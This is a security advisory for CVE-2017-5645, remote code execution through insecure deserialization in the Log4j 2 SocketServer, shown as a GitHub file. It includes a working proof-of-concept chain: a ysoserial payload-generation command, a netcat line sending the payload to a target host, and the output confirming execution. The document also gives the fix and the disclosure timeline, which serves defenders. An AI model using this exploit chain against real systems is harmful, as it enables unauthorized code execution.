-
Notifications
You must be signed in to change notification settings - Fork 31
/
log4j advisory.txt
160 lines (113 loc) · 6.41 KB
/
log4j advisory.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# Exploit Title: Log4j <= 2.8.1 RCE due to insecure deserialization
# Date: 09/03/2017
# Exploit Author: Marcio Almeida
# Vendor Homepage: https://logging.apache.org/log4j/2.0/index.html
# Software Link: https://logging.apache.org/log4j/2.0/download.html
# Afected Versions: 2.8.1 (latest version) and priors
# Tested on: Linux
=================================================================
- Release date: 17/04/17
- Discovered by: Marcio Almeida from TELSTRA Red Team
- Severity: Critical
- CVSS Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
- CVE-ID: CVE-2017-5645
=================================================================
I. VULNERABILITY
-------------------------
Log4j <= 2.8.1 RCE due to insecure deserialization
II. BACKGROUND
-------------------------
Apache Log4j 2 is a Java-based logging utility. Apache Log4j 2 is an upgrade
to Log4j that provides significant improvements over its predecessor, Log4j 1.x,
and provides many of the improvements available in Logback while fixing some
inherent problems in Logback’s architecture [1].
III. INTRODUCTION
-------------------------
Log4j 2 version 2.8.1 and prior versions (version 1 of Log4j also included) has an useful
appender called SocketAppender. The SocketAppender is an OutputStreamAppender object that writes its
output to a remote destination specified by a host and port. The data can be sent over either
TCP or UDP and can be sent in any format. The default format is to send a serialized
LogEvent object. Log4j 2 contains a SocketServer which is capable of receiving serialized
LogEvents and routing them through the logging system on the server. You can optionally
secure communication with SSL [2].
The SocketServer mentioned before can be found in the following classes: TcpSocketServer, UdpSocketServer
and SecureTcpSocketServer.
Due to how the SocketServer on Log4j deserializes the objects received through it allows
remote attackers to send a special crafted object that when unserialized on the server
will execute any command desired by the attacker. That specific behaviour can be observed
on the class ObjectInputStreamLogEventBridge on the method logEvents that just deserializes
objects directly from the ObjectInputStream passed as argument without any input validation [3].
IV. PROOF OF CONCEPT
-------------------------
As proof of concept, I created the following Log4jSocketServer application that will listen
on the port 1337 for incoming connections expecting for LogEvent serialized objects:
============================================================================
import java.io.IOException;
import java.io.ObjectInputStream;
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
public class Log4jSocketServer {
public static void main(String[] args) {
TcpSocketServer<ObjectInputStream> myServer = null;
try {
myServer = new TcpSocketServer<ObjectInputStream>(1337,new ObjectInputStreamLogEventBridge());
} catch (IOException e) {
e.printStackTrace();
}
myServer.run();
}
}
=============================================================================
Using a modified version of ysoserial [4] (a well known exploitation tool for insecure java
deserialization) I created a payload to execute the command "touch /tmp/lo4jServerp0wn3d" on
the server machine as follows:
$ java -jar ysoserial-modified.jar CommonsCollections5 bash "touch /tmp/lo4jServerp0wn3d"> touch_payload.bin
After that I just connect on the port 1337 on the target machine passing the generated payload as input:
$ nc target_host 1337 < touch_payload.bin
On the SocketServer application console we can see a Exception raised due to ClassCastException
as shown bellow:
Exception in thread "Log4j2-5" java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to org.apache.logging.log4j.core.LogEvent
at org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge.logEvents(ObjectInputStreamLogEventBridge.java:35)
at org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge.logEvents(ObjectInputStreamLogEventBridge.java:29)
at org.apache.logging.log4j.core.net.server.TcpSocketServer$SocketHandler.run(TcpSocketServer.java:85)
But executing a 'ls /tmp | grep log4j*' on the server machine we can verify that the command was executed
with success and the file lo4jServerp0wn3d was successfuly created on the /tmp directory as shown below:
$ ls -la /tmp | grep log4j*
-rw-rw-r-- 1 pimps pimps 0 Mar 8 09:45 lo4jServerp0wn3d
For your convenience, the Log4jSocketServer.jar PoC application and the payload touch_payload.bin can
be downloaded on the following link:
- https://github.com/pimps/CVE-2017-5645
V. BUSINESS IMPACT
-------------------------
A remote, unauthenticated attacker can exploit this vulnerability by sending crafted serialized data to the
target application (SocketServer). Successful exploitation could result in arbitrary code execution in the
context of the application.
VI. SYSTEMS AFFECTED
-------------------------
Version 2.8.1 and prior versions are vulnerable.
VII. SOLUTION
-------------------------
Java 7+ users should migrate to version 2.8.2 or avoid using the socket server classes. Java 6 users should avoid using the TCP or UDP
socket server classes, or they can manually backport the security fix from 2.8.2: <https://git-wip-us.apache.org/repos/asf?p=logging-log4j2.git;h=5dcc192>
VIII. DISCLOSURE TIMELINE
-------------------------
02/03/17 - Vulnerability discovered.
09/03/17 - Vendor Contacted.
02/04/17 - Vulnerability Patched.
04/04/17 - Version 2.8.2 released.
17/04/17 - Public Release.
IX. REFERENCES
-------------------------
[1] http://logging.apache.org/log4j/2.x/
[2] https://logging.apache.org/log4j/2.x/manual/appenders.html
[3] https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/server/ObjectInputStreamLogEventBridge.java
[4] https://github.com/pimps/ysoserial-modified
X. CREDITS
-------------------------
The vulnerability has been discovered by Marcio Almeida from TELSTRA Red Team.
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise. I
accept no responsibility for any damage caused by the use or misuse of
this information.